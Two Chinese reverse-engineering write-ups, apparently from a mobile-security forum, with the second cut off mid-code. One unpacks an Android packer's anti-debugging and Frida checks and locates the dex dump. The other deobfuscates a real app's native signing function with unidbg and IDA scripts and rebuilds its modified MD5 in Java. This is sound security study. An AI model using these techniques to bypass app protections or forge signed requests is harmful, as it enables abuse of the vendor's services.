(ptr(pGot[i].toString()) > base){ pGot[i] = BigInt(ptr(pGot[i].toString()).sub(base).toString()) } } logd(pGot.toString()) logd( \\"dump so:\\" + this.soName + \\" to \\" + file_path); file_handle.write(libso_buffer!); file_handle.flush(); file_handle.close(); log( \\"[dump]:\\" + file_path); } } |
程序使用的大部分字符串都被加密,加密方法为栈赋值密文,解密函数解密密文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | __int64 __fastcall sub_181D4(__int64 result, int a2, char a3) { int v3; / / w5 char v4; / / w7 v3 = 0 ; v4 = * (result + 1 ) ^ a3; while ( a2 > v3 ) { * (result + v3) = v4 ^ * (result + v3 + 2 ); + + v3; } * (result + v3) = 0 ; return result; } |
为了干扰ida的引用分析,使用间接跳转
以下将按程序顺序讲述程序执行功能
\\n通过_system_property_get(\\"ro.build.version.sdk\\"),_system_property_get(\\"ro.build.version.release\\")来获取androdi版本
\\n_system_property_get(\\"ro.yunos.version\\"),_system_property_get(\\"ro.yunos.version.release\\") 获取java虚拟机的类型
\\n使用dlopen打开libc dlsym获取下列几个函数
\\n1 2 3 4 5 6 7 8 9 10 | mprotect mmap munmap fopen fclose fgets fwrite fread sprintf pthread_create |
其中fopen,fclose,fgets,fwrite,fread,sprintf,pthread_create 被定义为了全局结构体,其余为全局函数指针因此,ida定义结构结构体
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | 00000000 struct libcPFuncAry / / sizeof = 0x38 00000000 { / / XREF: .data:g_func_fopen_ptr / r 00000000 FILE * (__fastcall * pFopen)(const char * filename, const char * modes); 00000000 / / XREF: sub_158AC + 30 / r 00000000 / / sub_15AE0 + 14 / r ... 00000008 int (__fastcall * pFclose)( FILE * stream); / / XREF: sub_E1F78 / o 00000008 / / sub_E1F78 + 4 / r 00000010 char * (__fastcall * pFgets)(char * s, int n, FILE * stream); 00000010 / / XREF: inotify_init_function + 28 / o 00000010 / / inotify_init_function + AC / r 00000018 unsigned __int64 (__fastcall * pFwrite)(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, __int64 a4); 00000018 / / XREF: sub_1989C / o 00000018 / / sub_1989C + C / r ... 00000020 unsigned __int64 (__fastcall * pFread)(char * a1, unsigned __int64 a2, unsigned __int64 a3, __int64 a4); 00000020 / / XREF: .text&ARM.extab: 0000000000037FE8 / o 00000020 / / .text&ARM.extab: 0000000000037FF4 / r 00000028 __int64 ( * pSprintf)(__int64 a1, unsigned __int8 * a2, ...); 00000028 / / XREF: struc_func_ptr_ctor + 18 / o 00000028 / / struc_func_ptr_ctor + 1C / r 00000030 __int64 (__fastcall * pPthread_create)(_QWORD * a1, __int64 a2, __int64 a3, __int64 a4); 00000030 / / XREF: operator new(ulong) + 44 / o 00000030 / / operator new(ulong) + 4C / r ... 00000038 }; |
值得疑惑的是 这个函数还顺手通过 _system_property_get(\\"ro.board.platform\\")获取主板名称,对\\"rk3399\\"进行比对,结果存放全局变量
fopen(\\"/proc/18607/cmdline\\",\\"r\\"),比较/system/bin/dex2oat,如果找到返回,
##getLD_OPT_PACKAGENAME
通过getEnv获取这两个字段 没有看懂在干嘛,不过条件没有满足,程序返回了
这里ida没有识别为函数,我们需要手动添加地址,从开头向下翻翻到
\\n1 | BL __stack_chk_fail |
就是结束地址了
ida_funcs.add_func(startEa.endEa)
由于大量使用了控制流混淆导致ida识别switch出现问题这里我们手动告诉ida
Edit =>Other=>Specify switch idiom
手动修复下
获取cpuabi到全局变量
\\n获取so名称到全局变量
\\n解密 com_SecShell_SecShell_H
\\n重新获取Api
\\n获取 com_SecShell_SecShell_H 中的PKGNAME字段
\\n接下来一顿骚操作,我晕了,解密数据,略过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | FindClass android / app / ActivityThread GetStaticMethodID currentActivityThread CallStaticObjectMethod currentActivityThread GetMethodID getSystemContext CallObjectMethod getSystemContext FindClass android / app / ContextImpl GetMethodID getPackageManager CallObjectMethod getPackageManager GetMethodID getPackageInfo NewStringUTF 包名 CallObjectMethod getPackageInfo GetFieldID applicationInfo GetObjectField applicationInfo:Landroid / content / pm / ApplicationInfo >GetObjectClass applicationInfo:Landroid / content / pm / ApplicationInfo GetFieldID sourceDir GetObjectField sourceDir GetStringUTFChars sourceDir GetFieldID dataDir GetObjectField dataDir GetStringUTFChars dataDir GetFieldID nativeLibraryDir GetObjectField nativeLibraryDir GetStringUTFChars nativeLibraryDir |
校验包名
打开/proc/self/maps 获取lib_libart 地址
\\n
注册jni函数
拼接字符串
防dexDump
https://bbs.kanxue.com/thread-223320.htm
解密字符串
调javaapi
解密字符串
\\n1 2 3 4 5 6 7 8 | dalvik / system / DexPathList akeInMemoryDexElements ([Ljava / nio / ByteBuffer;Ljava / util / List ;)[Ldalvik / system / DexPathList$Element; java / nio / ByteBuffer wra ([B)Ljava / nio / ByteBuffer; java / util / ArrayList size |
加载dex 这里可以dump了
打开/proc/self/task /proc/self/task/6268/status 查找frida特征
\\n
####透明加密
https://bbs.kanxue.com/thread-226358.htm
打开/proc/self/cmdline 比较包名
\\n至此,加固分析结束,由于trace只会走流程其他分析流程可能走不到,但是控制流混淆太恶心了,告一段落了
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n本文章仅做移动安全学习交流用途 严禁作其他用途
\\n目标版本是8.0.65
\\n目标算法是s***leSign 目标位置:0xbe11c
\\n所用工具: IDA Pro, 010 Editor, unidbg, frida
\\n把目标so拖进ida 让ida狠狠的分析这个so
\\n当IDA分析完成后 按快捷键G跳转到我们目标函数的位置
\\n可以看到这个地方的都被识别成数据段了 按C把它强制转成代码 再按P把它定义成一个函数
正当我按下f5以为可以高枕无忧,狠狠分析的时候,显示的内容却让我傻了眼
发现有花指令[垃圾指令]的存在干扰了IDA的线性分析 索性撂挑子不干了 直接显示一个JUMPOUT
\\n去到0xBE168看看怎么个事
可以看到 当程序正常的执行流走到0xBE164处先进行了一个压栈的操作 随后加载了一个DWORD存储到R0然后就跳转到了SUB_E9DE0函数,到这里IDA就飘红了
\\n再去看看SUB_E9DE0函数:
简单分析一下可以看出 这里貌似是在做某种运算?把传入的数值做某种运算后写入栈中,最终弹出PC寄存器使得程序的执行流去到某个地方
\\n到这里 大概可以看出 IDA之所以飘红的原因 是因为IDA是线性反汇编 这种类似于间接跳转的代码块 因为缺少上下文 IDA并不知道这里去到哪里 所以显示的JUMP OUT 从而达到对抗静态分析的目的
\\n上面只是从ida来分析 解决对抗花指令还得从动态执行来
\\n先搭个unidbg架子
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | public class SecurityUtil extends AbstractJni { private final AndroidEmulator emulator; private final VM vm; private final Module module; private final DvmObject NativeLibHelper; SecurityUtil() { emulator = AndroidEmulatorBuilder.for32Bit() .setProcessName( \\"xxxxx.android.xxxx\\" ) //你懂的 .addBackendFactory( new Unicorn2Factory( true )) .build(); // 创建模拟器实例,要模拟32位或者64位,在这里区分 final Memory memory = emulator.getMemory(); // 模拟器的内存操作接口 memory.setLibraryResolver( new AndroidResolver( 23 )); // 设置系统类库解析 vm = emulator.createDalvikVM(); vm.setVerbose( true ); // 设置是否打印Jni调用细节 vm.setJni( this ); new AndroidModule(emulator, vm).register(memory); DalvikModule dm = vm.loadLibrary( new File( \\"libxxmain.so\\" ), true ); // module = dm.getModule(); dm.callJNI_OnLoad(emulator); // 手动执行JNI_OnLoad函数 NativeLibHelper = vm.resolveClass( \\"xxxxx/android/xxxxxxxx/SecurityUtil\\" ).newObject( null ); //你懂的 } public void Sign(){ String traceFile = \\"traceCode.txt\\" ; PrintStream traceStream; try { traceStream = new PrintStream( new FileOutputStream(traceFile), true ); emulator.traceCode(module.base,module.base+module.size).setRedirect(traceStream); } catch (FileNotFoundException e) { e.printStackTrace(); } byte [] bytes = { 100 , 52 , 54 , 102 , 54 , 101 , 100 , 55 , 55 , 57 , 57 , 55 , 51 , 56 , 102 , 97 , 48 , 52 , 57 , 54 , 97 , 56 , 50 , 57 , 53 , 52 , 97 , 49 , 50 , 51 , 54 , 101 }; ByteArray barr = new ByteArray(vm,bytes); StringObject str = new StringObject(vm, \\"getdata\\" ); String stringObject = NativeLibHelper.callJniMethodObject(emulator, \\"s***leSign([BLjava/lang/String;)Ljava/lang/String;\\" ,barr,str).toString().replace( \\"\\\\\\"\\" , \\"\\" ); Inspector.inspect(stringObject.getBytes(StandardCharsets.UTF_8), \\"result\\" ); return ; } public static void main(String[] args) { SecurityUtil securityUtil = new SecurityUtil(); securityUtil.Sign(); } } |
发现可以直接跑起来,不需要补环境 还是很不错的
\\n也取到了一份执行过程中的tracecode
\\n使用010 Editor 打开trace文件转到0xbe164处
\\n基于前面从ida中的简单分析 可以看出 在压栈操作后这段代码是把加载的一个跳转数x<<2后加上因为bl #0x400e9de0处而改变的lr寄存器的值 得到一个最终的跳转地址 从而改变程序执行流的位置
\\n即 jump_addr = x * 2 + bl_addr + 4;bl_addr => bl指令所在的地址
\\n注意到这个跳转代码块首尾有压栈出栈(恢复寄存器现场)的操作 故可在压栈处直接改成直接跳转 并不会影响寄存器现场
\\n比如0xbe164处的汇编 可以_修改为: B 0xc5490 _
\\n这样就可以直接patch真实跳转地址 从而让ida更好的反汇编
\\n有了间接跳转块代码的分析 就可以开始写ida python 愉快的去花了
\\n从整个trace文件中搜索 push {r0, r1, lr} 发现共有8097处 汇编代码 且下方紧跟着的就是 ldr r0, [pc, #4]
\\n那就可以根据这两行汇编 作为间接跳转块的特征 进行去花
\\n因为ida把大部分汇编代码都识别成数据了 一个一个按c去强转不太现实 但不强转为汇编 用ida python的api 获取当前地址的汇编代码又会发生错误
\\n所以我决定使用capStone 对每一条汇编进行单独解析
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | from capstone import * from keystone import * cs = Cs(CS_ARCH_ARM, CS_MODE_THUMB) ks = Ks(keystone.KS_ARCH_ARM, keystone.KS_MODE_THUMB) def generate(code, addr): # 参数2是地址,很多指令是地址相关的,比如 B 指令,如果地址无关直接传 0 即可,比如 nop。 encoding, _ = ks.asm(code, addr) return encoding def get_opcode(machine_code, code_address): #利用capstone反汇编代码 assembly = [] for insn in cs.disasm(machine_code, code_address): if insn.mnemonic ! = \\"\\": assembly.append(insn.mnemonic) assembly.append(insn.op_str) return assembly def patch_b(addr, target_addr): code = f \\"B {hex(target_addr)}\\" bCode = generate(code, addr) # 此处本意是在获取到真实跳转地址后立即patch 后在执行过程中发现 # 当前面被patch后会影响后面其他位置真实位置的计算 故作罢 if (bCode ! = None ): #ida_bytes.patch_bytes(addr, bytes(bCode)) # print(\\"patch:\\", hex(addr),\\" code:\\",code) print ( hex (addr) + “|” + code) def patch(addr): if idc.get_wide_word(addr) = = 0xb503 : # PUSH {R0,R1,LR} addr_ = addr + 2 if idc.get_wide_word(addr_) = = 0x4801 : # ldr r0, [pc, #4] 从pc+4处取出 lr = \\"\\" jump_code_addr = addr_ + 4 + 4 if (jump_code_addr % 4 = = 2 ): jump_code_addr = jump_code_addr - 2 # 做四字节对其 jump_code = idc.get_wide_dword(jump_code_addr) # 开始判断ldr r0, [pc, #4]的下一句是否为BL addr_ = addr_ + 2 code = idc.get_wide_dword(addr_).to_bytes( 4 , byteorder = \'little\' ) # 小端序取出四个字节 opcode = get_opcode(code, addr_) if len (opcode) ! = 0 and opcode[ 0 ] = = \'bl\' : # 判断是否跳转语句 jump_addr_1 = int (opcode[ 1 ][ 1 :], 16 ) code = idc.get_wide_dword(jump_addr_1).to_bytes( 4 , byteorder = \'little\' ) opcode = get_opcode(code, jump_addr_1) if len (opcode) ! = 0 and opcode[ 0 ] = = \'bl\' : # 判断是否有二次跳转 jump_addr_2 = int (opcode[ 1 ][ 1 :], 16 ) code = idc.get_wide_dword(jump_addr_2).to_bytes( 4 , byteorder = \'little\' ) opcode = get_opcode(code, jump_addr_2) if len (opcode) ! = 0 and opcode[ 0 ] = = \'bx\' : lr = jump_addr_1 + 4 elif len (opcode) ! = 0 and opcode[ 0 ] = = \'bx\' : lr = addr_ + 4 # print(\\"lr:\\"+lr) if lr ! = \\"\\": r1 = idc.get_wide_dword(lr + (jump_code << 2 )) real_jump_addr = lr + r1 patch_b(addr, real_jump_addr) if __name__ = = \'__main__\' : for i in range ( 0x9EB8 , 0x218Acc ): #patch 整个.data段 patch(i) |
在ida中执行脚本后 控制台输出了每一个间接跳转块的真实跳转地址:
\\n1 2 3 4 5 6 | 0xe556 |B 0x17a82 0xeb02 |B 0x16ca8 0xeb48 |B 0x14972 ... 0x1c03b2 |B 0x1c0312 0x1c03d4 |B 0x1c020c |
把这些真实跳转地址保存到一个patch_jump.txt文件
\\n再写一段ida python脚本 来patch每一个间接跳转点
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | from keystone import * ks = Ks(keystone.KS_ARCH_ARM, keystone.KS_MODE_THUMB) def generate(code, addr): encoding, _ = ks.asm(code, addr) return encoding def patch_b(code, addr): bCode = generate(code, addr) if (bCode ! = None ): ida_bytes.patch_bytes(addr, bytes(bCode)) if __name__ = = \'__main__\' : with open ( \'patch.txt\' , \'r\' ) as file : for line in file : parts = line.split( \'|\' ) addr = parts[ 0 ] code = parts[ 1 ].rstrip( \'\\\\n\' ) patch_b(code, int (addr, 16 )) |
保存patch完的so文件libxxmain_fix.so 再次拖入ida分析 去到 0xBE164 处
\\n可以看到此处的汇编代码已经变为直接跳转到目标地址了
\\n再次f5
\\n还是有一个jump out 是怎么回事呢 跳到0xbedd4看看
\\n原来是ida把此处识别为了arm汇编代码 只要在0xbedd2处按d 转换为数据 再在0xbedd4处按c 转为汇编即可
\\n后续多个jumpout大多都是这个问题 如法炮制即可 再在ida左下角选择重新分析
\\n经过多次修复 sub_BE11C 这个函数终于能看到一些jni细节了
把patch完成的so 放入unidbg中 再次调用目标方法 可以正常跑起来 没有报错 且结果与patch前一致 说明patch并没有改变程序原来的执行流程 图就不放了
\\n当分析一个算法的具体过程的时候 在入参不变的情况下 输出的结果却一直变化 这给分析算法过程增加了不少的工作量 为了减小因结果变化而增加的工作量 对结果进行固定无疑是最好的选择
\\n程序在unidbg中跑起来后,发现即使固定函数的输入 结果依然在变化 猜测结果的内容应该与某些动态参数有关
\\n随机数?时间?还是其他什么因素导致了结果的变化 只需在unidbg中把对应的函数结果固定即可
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | src/main/java/com/github/unidbg/unix/UnixSyscallHandler.java 将类中gettimeofday()方法中的取时间固定 // long currentTimeMillis = System.currentTimeMillis(); long currentTimeMillis = 0000000000000L; 当时间固定后 发现结果也随之固定了 0000: 35 32 36 36 42 42 39 42 46 36 35 42 43 35 33 45 5266BB9BF65BC53E 0010: 46 32 33 39 39 44 33 41 30 44 30 30 42 44 35 44 F2399D3A0D00BD5D 0020: 30 30 30 30 30 30 30 30 31 32 43 34 31 41 46 36 0000000012C41AF6 0030: 34 35 43 42 30 32 44 38 35 38 44 33 45 42 44 35 45CB02D858D3EBD5 0040: 46 46 44 38 32 45 35 44 31 35 30 FFD82E5D150 观察到结果的33-40位居然是00000000 这会跟上面固定的时间有关吗 再次改变时间: long currentTimeMillis = 1234567898765L; 0000: 32 44 41 43 41 37 41 31 36 43 44 44 41 34 31 37 2DACA7A16CDDA417 0010: 33 37 30 43 31 45 42 39 43 43 34 30 34 45 44 32 370C1EB9CC404ED2 0020: 44 41 30 32 39 36 34 39 31 32 43 43 42 31 33 43 DA02964912CCB13C 0030: 41 46 34 36 43 45 31 37 32 38 33 38 45 44 32 46 AF46CE172838ED2F 0040: 36 33 31 36 38 39 37 44 37 34 30 6316897D740 发现这次结果的33-40位变成了DA029649 把他转为小端序再转16进制 发现是1234567898 即十位数的时间戳 综上可知 结果的33-40位是十位数的时间戳 41-43位则是固定的12c |
固定结果后 重新用unidbg取一份trace文件traceCode.txt
\\n固定了结果后发现在时间戳的前面,正好是32个字符,猜测是某种哈希算法 猜测是MD5哈希校验
\\n从trace文件中小端序搜索结果的前8位(四个字节)
\\n在0x12CD04处是结果第一次生成的地方 且下方不远处也有结果2,3,4 跳转到ida看看
\\n找一份md5实现代码:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | // 截取部分 private static long II( long a, long b, long c, long d, long x, long s, long ac) { a += (I(b, c, d)&0xFFFFFFFFL) + x + ac; a = ((a&0xFFFFFFFFL) << s) | ((a&0xFFFFFFFFL) >>> ( 32 - s)); a += b; return (a&0xFFFFFFFFL); } private static long I( long x, long y, long z) { return y ^ (x | (~z)); } 由md5的最后一轮计算 可知 a = II(a, b, c, d, M4, 6 , t[ 60 ]) //a = b+((a+I(b,c,d)+M4 +t[60])<<<6) <<<6表示循环左移6 b = II(d, a, b, c, M11, 10 , t[ 61 ]) //b = a+((d+I(a,b,c)+M11+t[61])<<<10) c = II(c, d, a, b, M2, 15 , t[ 62 ]) //c = d+((c+I(d,a,b)+M2 +t[62])<<<15) d = II(b, c, d, a, M9, 21 , t[ 63 ]) //d = c+((b+I(c,d,a)+M9 +t[63])<<<15) 因为逻辑运算左右移的互补关系 左移(x) = 右移( 32 -x) 把这些计算代入到上方ida中的伪c代码 流程十分的契合 结果的前 32 位大概率就是md5哈希校验了 |
既然知道了是md5哈希校验,在trace中搜索标准md5中用的魔数表,初始iv,都没有搜索到 那大概率是改过iv和魔数表了 接下来就是从trace中逆推出明文 初始iv 魔数了
\\n在trace文件中搜索循环右移(rors) 正好在结果的上方不远处就有一个rors 且这个循环右移是第128个循环右移 从左边的搜索结果分布图来看 搜索结果很集中 说明程序的其他地方没有运用到循环右移
\\n由上面md5哈希校验代码可知 一次md5哈希校验 有64轮计算 其中一轮计算有一次循环左移 而这里搜索出了128个循环右移 猜测明文长度超过了64个字节 或者进行了多次md5计算 也可能是修改了计算次数
\\n根据循环右移搜索的结果来看 前64次逻辑左移与后64逻辑左移使用的偏移数与标准md5所使用的一致
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | // 第一轮 a = FF(a, b, c, d, M0, 7 , 0xd76aa478 ) b = FF(d, a, b, c, M1, 12 , 0xe8c7b756 ) c = FF(c, d, a, b, M2, 17 , 0x242070db ) d = FF(b, c, d, a, M3, 22 , 0xc1bdceee ) a = FF(a, b, c, d, M4, 7 , 0xf57c0faf ) b = FF(d, a, b, c, M5, 12 , 0x4787c62a ) c = FF(c, d, a, b, M6, 17 , 0xa8304613 ) d = FF(b, c, d, a, M7, 22 , 0xfd469501 ) a = FF(a, b, c, d, M8, 7 , 0x698098d8 ) b = FF(d, a, b, c, M9, 12 , 0x8b44f7af ) c = FF(c, d, a, b, M10, 17 , 0xffff5bb1 ) d = FF(b, c, d, a, M11, 22 , 0x895cd7be ) a = FF(a, b, c, d, M12, 7 , 0x6b901122 ) b = FF(d, a, b, c, M13, 12 , 0xfd987193 ) c = FF(c, d, a, b, M14, 17 , 0xa679438e ) d = FF(b, c, d, a, M15, 22 , 0x49b40821 ) private static long F( long x, long y, long z) { return (x & y) | ((~x) & z); } // 其中 Mj表示明文块j FF = a=b+((a+F(b,c,d)+Mj+ti)<<<s) 只需要找到Mj 即找到了明文 |
在trace文件中找到第一次rors 往上找寻代码
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | \\"ldr r4, [pc, #0x358]\\" => r4= 0x1fdf9fdf \\"ldr r4, [pc, #0x358]\\" => r4= 0x97571757 \\"ldr r4, [pc, #0x35c]\\" => r4= 0x68a8e8a8 发现参与计算的几个数都是直接通过pc指针+偏移进行读取 为固定值 猜测这就是md5的初始模数 0x120360 \\"eors r4, r5\\" r4= 0x1fdf9fdf r5= 0x97571757 => r4= 0x88888888 0x120364 \\"ands r4, r1\\" r4= 0x88888888 r1= 0x68a8e8a8 => r4= 0x8888888 0x120366 \\"eors r4, r5\\" r4= 0x8888888 r5= 0x97571757 => r4= 0x9fdf9fdf (b & c) ^ ((~b) & d) => [(c ^ d) & b] ^ d 发现上述计算等价于F(b,c,d) 至此 确定了md5计算的初始模数a,b,c,d A = 0xe0206020 B = 0x68a8e8a8 C = 0x1fdf9fdf D = 0x97571757 |
利用上面的分析思路 在整个trace文件中找出从M1至M128 如下:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | 00000000 30 30 30 30 30 30 30 30 5a 62 30 61 64 76 4a 32 |00000000Zb0advJ2| 00000010 52 74 43 69 6a 4e 72 38 64 55 70 49 35 31 50 5a |RtCijNr8dUpI51PZ| 00000020 6e 68 62 55 4b 67 33 57 4c 4d 68 4f 6d 53 33 41 |nhbUKg3WLMhOmS3A| 00000030 75 55 50 55 78 6b 39 35 68 77 37 68 64 4a 79 34 |uUPUxk95hw7hdJy4| 00000040 63 4a 72 4c 70 4d 50 64 78 54 72 49 68 31 67 37 |cJrLpMPdxTrIh1g7| 00000050 79 4c 50 75 48 44 4a 61 78 6b 36 6c 51 4d 71 6d |yLPuHDJaxk6lQMqm| 00000060 80 76 79 31 00 00 00 00 00 00 00 00 00 00 00 00 |.vy1............| 00000070 00 00 00 00 00 00 00 00 00 00 03 18 00 00 00 00 |................| 转为大端序 00000000 30 30 30 30 30 30 30 30 61 30 62 5a 32 4a 76 64 |00000000a0bZ2Jvd| 00000010 69 43 74 52 38 72 4e 6a 49 70 55 64 5a 50 31 35 |iCtR8rNjIpUdZP15| 00000020 55 62 68 6e 57 33 67 4b 4f 68 4d 4c 41 33 53 6d |UbhnW3gKOhMLA3Sm| 00000030 55 50 55 75 35 39 6b 78 68 37 77 68 34 79 4a 64 |UPUu59kxh7wh4yJd| 00000040 4c 72 4a 63 64 50 4d 70 49 72 54 78 37 67 31 68 |LrJcdPMpIrTx7g1h| 00000050 75 50 4c 79 61 4a 44 48 6c 36 6b 78 6d 71 4d 51 |uPLyaJDHl6kxmqMQ| 00000060 31 79 76 80 00 00 00 00 00 00 00 00 00 00 00 00 |1yv.............| 00000070 00 00 00 00 00 00 00 00 18 03 00 00 00 00 00 00 |................| 发现完美符合md5明文拓展后的特征(明文以0x80结尾,倒数第8字节存放明文长度*8) |
再像上面一样 从trace中取出整个码表
\\n1 2 3 4 5 6 | 0x500fe759L /* 1 */ 0x6fa2f477L /* 2 */ 0xa34533faL /* 3 */ ... 0xadb2919aL /* 63 */ 0x6ce390b0L /* 64 */ |
依据上面的初始模数与码表 写一份magicMD5
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 | public class magicMD5 { static final String[] hexs = { \\"0\\" , \\"1\\" , \\"2\\" , \\"3\\" , \\"4\\" , \\"5\\" , \\"6\\" , \\"7\\" , \\"8\\" , \\"9\\" , \\"A\\" , \\"B\\" , \\"C\\" , \\"D\\" , \\"E\\" , \\"F\\" }; private static final long A = 0xe0206020L; private static final long B = 0x68a8e8a8L; private static final long C = 0x1fdf9fdfL; private static final long D = 0x97571757L; //下面这些S11-S44实际上是一个4*4的矩阵,在四轮循环运算中用到 static final int S11 = 7 ; static final int S12 = 12 ; static final int S13 = 17 ; static final int S14 = 22 ; static final int S21 = 5 ; static final int S22 = 9 ; static final int S23 = 14 ; static final int S24 = 20 ; static final int S31 = 4 ; static final int S32 = 11 ; static final int S33 = 16 ; static final int S34 = 23 ; static final int S41 = 6 ; static final int S42 = 10 ; static final int S43 = 15 ; static final int S44 = 21 ; //java不支持无符号的基本数据(unsigned) private long [] result = {A, B, C, D}; //存储hash结果,共4×32=128位,初始化值为(幻数的级联) public static void main(String[] args) { magicMD5 md = new magicMD5(); System.out.println(md.digest( \\"30303030303030306130625a324a76646943745238724e6a497055645a5031355562686e5733674b4f684d4c4133536d5550557535396b786837776834794a644c724a6364504d70497254783767316875504c79614a44486c366b786d714d51317976\\" )); } private String digest(String inputHexStr) { byte [] inputBytes = hexToByteArray(inputHexStr); int byteLen = inputBytes.length; //长度(字节) int groupCount = 0 ; //完整分组的个数 groupCount = byteLen / 64 ; //每组512位(64字节) long [] groups = null ; //每个小组(64字节)再细分后的16个小组(4字节) //处理每一个完整 分组 for ( int step = 0 ; step < groupCount; step++) { groups = divGroup(inputBytes, step * 64 ); trans(groups); //处理分组,核心算法 } //处理完整分组后的尾巴 int rest = byteLen % 64 ; //512位分组后的余数 byte [] tempBytes = new byte [ 64 ]; if (rest <= 56 ) { for ( int i = 0 ; i < rest; i++) tempBytes[i] = inputBytes[byteLen - rest + i]; if (rest < 56 ) { tempBytes[rest] = ( byte ) ( 1 << 7 ); for ( int i = 1 ; i < 56 - rest; i++) tempBytes[rest + i] = 0 ; } long len = ( long ) (byteLen << 3 ); for ( int i = 0 ; i < 8 ; i++) { tempBytes[ 56 + i] = ( byte ) (len & 0xFFL); len = len >> 8 ; } groups = divGroup(tempBytes, 0 ); trans(groups); //处理分组 } else { for ( int i = 0 ; i < rest; i++) tempBytes[i] = inputBytes[byteLen - rest + i]; tempBytes[rest] = ( byte ) ( 1 << 7 ); for ( int i = rest + 1 ; i < 64 ; i++) tempBytes[i] = 0 ; groups = divGroup(tempBytes, 0 ); trans(groups); //处理分组 for ( int i = 0 ; i < 56 ; i++) tempBytes[i] = 0 ; long len = ( long ) (byteLen << 3 ); for ( int i = 0 ; i < 8 ; i++) { tempBytes[ 56 + i] = ( byte ) (len & 0xFFL); len = len >> 8 ; } groups = divGroup(tempBytes, 0 ); trans(groups); //处理分组 } //将Hash值转换成十六进制的字符串 String resStr = \\"\\" ; long temp = 0 ; for ( int i = 0 ; i < 4 ; i++) { for ( int j = 0 ; j < 4 ; j++) { temp = result[i] & 0x0FL; String a = hexs[( int ) (temp)]; result[i] = result[i] >> 4 ; temp = result[i] & 0x0FL; resStr += hexs[( int ) (temp)] + a; result[i] = result[i] >> 4 ; } } return resStr; } /** * 从inputBytes的index开始取512位,作为新的分组 * 将每一个512位的分组再细分成16个小组,每个小组64位(8个字节) * * @param inputBytes * @param index * @return */ private static long [] divGroup( byte [] inputBytes, int index) { long [] temp = new long [ 16 ]; for ( int i = 0 ; i < 16 ; i++) { temp[i] = b2iu(inputBytes[ 4 * i + index]) | (b2iu(inputBytes[ 4 * i + 1 + index])) << 8 | (b2iu(inputBytes[ 4 * i + 2 + index])) << 16 | (b2iu(inputBytes[ 4 * i + 3 + index])) << 24 ; } return temp; } /** * 这时不存在符号位(符号位存储不再是代表正负),所以需要处理一下 * * @param b * @return */ public static long b2iu( byte b) { return b < 0 ? b & 0x7F + 128 : b; } private void trans( long [] groups) { long a = result[ 0 ], b = result[ 1 ], c = result[ 2 ], d = result[ 3 ]; /*第一轮*/ a = FF(a, b, c, d, groups[0], S11, 0x500fe759L); /* 1 */ d = FF(d, a, b, c, groups[1], S12, 0x6fa2f477L); /* 2 */ c = FF(c, d, a, b, groups[2], S13, 0xa34533faL); /* 3 */ b = FF(b, c, d, a, groups[3], S14, 0x46d88dcfL); /* 4 */ a = FF(a, b, c, d, groups[4], S11, 0x72194c8eL); /* 5 */ d = FF(d, a, b, c, groups[5], S12, 0xc0e2850bL); /* 6 */ c = FF(c, d, a, b, groups[6], S13, 0x2f550532L); /* 7 */ b = FF(b, c, d, a, groups[7], S14, 0x7a23d620L); /* 8 */ a = FF(a, b, c, d, groups[8], S11, 0xeee5dbf9L); /* 9 */ d = FF(d, a, b, c, groups[9], S12, 0x0c21b48eL); /* 10 */ c = FF(c, d, a, b, groups[10], S13, 0x789a1890L); /* 11 */ b = FF(b, c, d, a, groups[11], S14, 0x0e39949fL); /* 12 */ a = FF(a, b, c, d, groups[12], S11, 0xecf55203L); /* 13 */ d = FF(d, a, b, c, groups[13], S12, 0x7afd32b2L); /* 14 */ c = FF(c, d, a, b, groups[14], S13, 0x211c00afL); /* 15 */ b = FF(b, c, d, a, groups[15], S14, 0xced14b00L); /* 16 */ /*第二轮*/ a = GG(a, b, c, d, groups[1], S21, 0x717b6643L); /* 17 */ d = GG(d, a, b, c, groups[6], S22, 0x4725f061L); /* 18 */ c = GG(c, d, a, b, groups[11], S23, 0xa13b1970L); /* 19 */ b = GG(b, c, d, a, groups[0], S24, 0x6ed3848bL); /* 20 */ a = GG(a, b, c, d, groups[5], 